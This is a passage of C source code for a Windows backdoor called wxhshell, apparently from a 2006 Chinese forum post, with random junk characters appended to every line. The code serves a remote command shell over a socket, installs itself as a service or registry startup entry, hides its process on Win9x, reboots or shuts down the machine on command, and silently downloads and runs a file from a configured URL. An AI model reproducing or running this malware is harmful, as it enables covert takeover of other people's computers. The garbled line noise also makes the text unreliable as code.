      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~&1KrUu&  
    break; *^'wFbaBO  
  } ezp<@'0ZT  
  // 安装 !#q{Z>H`  
  case 'i': { hM~eJv  
    if(Install()) ><[| G9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U.: sK*  
    else Bwjg#1E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tNU-2r   
    break; y-'" >  
    } #wF1  
  // 卸载 Dy su{rL  
  case 'r': { p ZtgIS(3  
    if(Uninstall()) lLH$`Wnv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zK=dzoy  
    else ITONpg[f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !g8*r"[UJ  
    break; \M9 h&I\7  
    } [*Q-nZ/L  
  // 显示 wxhshell 所在路径 ! ,@ZQS  
  case 'p': { UxyY<H~Wx  
    char svExeFile[MAX_PATH]; dY8(nQG  
    strcpy(svExeFile,"\n\r"); _R)&k%i}  
      strcat(svExeFile,ExeFile); q0Xoj__c!A  
        send(wsh,svExeFile,strlen(svExeFile),0); @r F/]UJ  
    break; MEEAQd<*  
    } RcQ>eZHl  
  // 重启 G+U3wF],  
  case 'b': { ~;[&K%n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0h22V$  
    if(Boot(REBOOT)) QZ&4:K+{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YgEM:'1f  
    else { +@0TMK,P  
    closesocket(wsh); yO=p3PV d  
    ExitThread(0); <;%0T xK|U  
    } E/ijvuO  
    break; rj3YTu`  
    } 4.8nY\_WF  
  // 关机 P*YK9Hl<  
  case 'd': { \m f*ge\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "A;s56}'&  
    if(Boot(SHUTDOWN)) 2JVxzj<~`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BEWro|]cM  
    else { l7z 6i*R  
    closesocket(wsh); atyu/+U'}  
    ExitThread(0); QQFf5^  
    } SG:bM7*1'  
    break; e2c1pgs&+  
    } 34ha26\np  
  // 获取shell vI Vr@1S  
  case 's': { 9x? B5Ap[  
    CmdShell(wsh); O+_N!/  
    closesocket(wsh); ZHCr2^w6  
    ExitThread(0); Q[uAIyv0  
    break; Ea4_Qmn  
  } g`[`P@  
  // 退出 7S<UFj   
  case 'x': { \5~;MI.Sq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $o.Kn9\  
    CloseIt(wsh); M;KA]fmc  
    break; rgqQxe=  
    } 94Ud@F9d5  
  // 离开 H8f]}  
  case 'q': { 78 d_io}w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NG" yPn  
    closesocket(wsh); J B^Q\;$  
    WSACleanup(); $w)~xE5;  
    exit(1); ;#&fgj  
    break; W`rMtzL5  
        } *"cD.)]#2  
  } XKqK<!F  
  } MS*G-C  
WhFS2Jl0  
  // 提示信息 rA1q SG~c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *P!s{i  
} K"\MU  
  } 6):Xzx,  
jJBnDxsA  
  return; (e9fm|n!)|  
} +?[BU<X6u  
f8'MP9Lv  
// shell模块句柄 (PRBS\*G  
int CmdShell(SOCKET sock) }"_j0ax  
{ :$g8Zm,y  
STARTUPINFO si; DI1(`y  
ZeroMemory(&si,sizeof(si)); LnFWA0y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J[@um:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3F+Jdr'  
PROCESS_INFORMATION ProcessInfo; cSK&[>i)4  
char cmdline[]="cmd"; 0y~<%`~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,O]l~)sr|  
  return 0; 4Po)xo  
} XV>&F{  
=P`~t<ajB  
// 自身启动模式 _<zfQZai  
int StartFromService(void) oY=1C}  
{ 3A,rHYS  
typedef struct "NzD1k6.L  
{ V*RdDF7  
  DWORD ExitStatus; Qx)Jtb0`V  
  DWORD PebBaseAddress; aY)2eY  
  DWORD AffinityMask; _M t Qi  
  DWORD BasePriority; g5S?nHS}  
  ULONG UniqueProcessId; B4ZIURciGz  
  ULONG InheritedFromUniqueProcessId; T6M+|"92  
}   PROCESS_BASIC_INFORMATION; PB53myDQ  
XIAeCU  
PROCNTQSIP NtQueryInformationProcess; Quzo8 u  
p $ouh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QTmZ( >z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,=BLnsg  
.Cz %:%9  
  HANDLE             hProcess; * R d#{Io7  
  PROCESS_BASIC_INFORMATION pbi; 2p!"p`b~  
W^\d^)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `t (D!  
  if(NULL == hInst ) return 0; JOb MZA$  
}BJX/, H,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X!tf#tl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wRtZ `o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /i_ @  
,v9f~qh  
  if (!NtQueryInformationProcess) return 0; 7N=-Y>$X  
ROc`BH=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -#s [F S  
  if(!hProcess) return 0; j_cs;G: "  
cz/Q/%j$/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z[EFQ^*>  
yT8=l"-[G  
  CloseHandle(hProcess); :+rUBYWx  
O+~ 7l?o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'ZP)cI:+X  
if(hProcess==NULL) return 0; =ll=)"O  
EU-]sTJLF  
HMODULE hMod; o)Z=m:t,lK  
char procName[255]; r0]4=6U  
unsigned long cbNeeded; q| .dez'  
}{[mrG   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )G1P^WV4  
n_u1&a'  
  CloseHandle(hProcess); 6oD\-H  
k`{7}zxS  
if(strstr(procName,"services")) return 1; // 以服务启动 +q<B.XxkA  
58V[mlW)O0  
  return 0; // 注册表启动 TsQU6NNE  
} a W%5~3  
iK()&TNz  
// 主模块 x=Hndx^  
int StartWxhshell(LPSTR lpCmdLine) Q.U$nph\%d  
{ I+(/TP  
  SOCKET wsl; "xJ0 vlw  
BOOL val=TRUE; >vbY<HGt  
  int port=0; %A/_5;PZ/  
  struct sockaddr_in door; qk/:A+  
%G3(,Qz  
  if(wscfg.ws_autoins) Install(); O) atNE   
;]sYf  
port=atoi(lpCmdLine); ` `U^COD  
m Lk(y*  
if(port<=0) port=wscfg.ws_port; >rsqH+oL  
!g!5_ |  
  WSADATA data; qJ4T]FVN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 790-)\:CY  
r|Z5Xc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O$u"/cwe*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O1&b]C#  
  door.sin_family = AF_INET; _+l1 b"^s1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p[AO' xx  
  door.sin_port = htons(port); eLD|A=X?  
KhbYr$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { . Dg*\ h  
closesocket(wsl); kzn[ =P  
return 1; N_pUv   
} [U, ?R  
p>vU?eF  
  if(listen(wsl,2) == INVALID_SOCKET) { mTNB88p8^D  
closesocket(wsl); IuF_M<d,  
return 1; Nes=;%&]G  
} vQ}6y  
  Wxhshell(wsl); T:]L/wCj  
  WSACleanup(); wI B`%V  
.iMN,+qP  
return 0; }Ew hj>w  
7Z ;?b0W  
} $d S@y+  
azQD>  
// 以NT服务方式启动 uDw.|B2ui  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l5xCz=dw  
{ ",aT WQgN  
DWORD   status = 0; G7!W{;@I  
  DWORD   specificError = 0xfffffff; Q\ /uKQ  
ZF7IL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xv{O^Ie+S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b45|vX+j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,)PiP/3B  
  serviceStatus.dwWin32ExitCode     = 0; &k-Vcrcz  
  serviceStatus.dwServiceSpecificExitCode = 0; zDhB{3-Q1{  
  serviceStatus.dwCheckPoint       = 0; fXI:Y8T  
  serviceStatus.dwWaitHint       = 0; HK\~Qnq  
lif&@o f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jZ`;Cy\<B  
  if (hServiceStatusHandle==0) return; dL7E<?l  
1f",}qe;  
status = GetLastError(); _@S`5;4x  
  if (status!=NO_ERROR) WJ<^E"^  
{ K\"R&{+=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V%$/#sza  
    serviceStatus.dwCheckPoint       = 0; oh# \]c\f  
    serviceStatus.dwWaitHint       = 0; "ju6XdZo  
    serviceStatus.dwWin32ExitCode     = status; uqz]J$  
    serviceStatus.dwServiceSpecificExitCode = specificError; X7k.zlH7T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |5Xq0nvCe  
    return; .bBdQpF-  
  } bfo["  
UAoh`6vFF8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cGjPxG;  
  serviceStatus.dwCheckPoint       = 0; \&U>LwZd?  
  serviceStatus.dwWaitHint       = 0; Ft}@ 1w5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9tF9T\jW  
}  H"A7Zo  
%|s+jeUDn|  
// 处理NT服务事件,比如:启动、停止 (vT+IZEI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %iV^S !e  
{ boDt`2=  
switch(fdwControl) %^RN#_ro(3  
{ ]_N|L|]M  
case SERVICE_CONTROL_STOP: ER,1(1]N  
  serviceStatus.dwWin32ExitCode = 0; vWAL^?HUP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I`NjqyTW  
  serviceStatus.dwCheckPoint   = 0; #g6.Glz3  
  serviceStatus.dwWaitHint     = 0; U&O: _>~  
  { e7wSOs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P.gb 1$7<  
  } ]U"94S U:)  
  return; bhniB@<  
case SERVICE_CONTROL_PAUSE: 13taFV dU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {<<U^<6}  
  break; 6gc>X%d`K  
case SERVICE_CONTROL_CONTINUE: ,v"YqD+GC5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6Ybg^0m  
  break; T=ev[ mS  
case SERVICE_CONTROL_INTERROGATE: W6Y]N/v3>  
  break; JtER_(.  
}; |\pbir  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #U14-^7  
} 3Z1CWzq(  
s{1sE)_  
// 标准应用程序主函数 .V,@k7U,V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9T<x&  
{ EFz&N\2  
4EY)!?;  
// 获取操作系统版本 h $2</J"  
OsIsNt=GetOsVer(); #\=FO>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yqPdl1{Qr=  
!r<pmr3f@7  
  // 从命令行安装 &Xf}8^T<V  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4<BjC[@~Z{  
1y}Y9mlD.  
  // 下载执行文件 {;2PL^i  
if(wscfg.ws_downexe) { z4N*b"QF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wpN=,&!  
  WinExec(wscfg.ws_filenam,SW_HIDE); q@{Bt{$x  
} lnjXD oVb<  
$&=S#_HQS  
if(!OsIsNt) { vam;4vyu  
// 如果时win9x,隐藏进程并且设置为注册表启动 7'Mm205\  
HideProc(); $` ""  
StartWxhshell(lpCmdLine); |p,P46I  
} vX.VfY  
else %KLpig  
  if(StartFromService()) #{;k{~;PF  
  // 以服务方式启动 FYpzQ6s~  
  StartServiceCtrlDispatcher(DispatchTable); x7Yu I  
else V-BiF>+  
  // 普通方式启动 m^zUmrj[  
  StartWxhshell(lpCmdLine); [TmIVQ!B  
p>huRp^w  
return 0; $&n=$C&x  
}
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只看该作者 1 发表于: 2006-10-10
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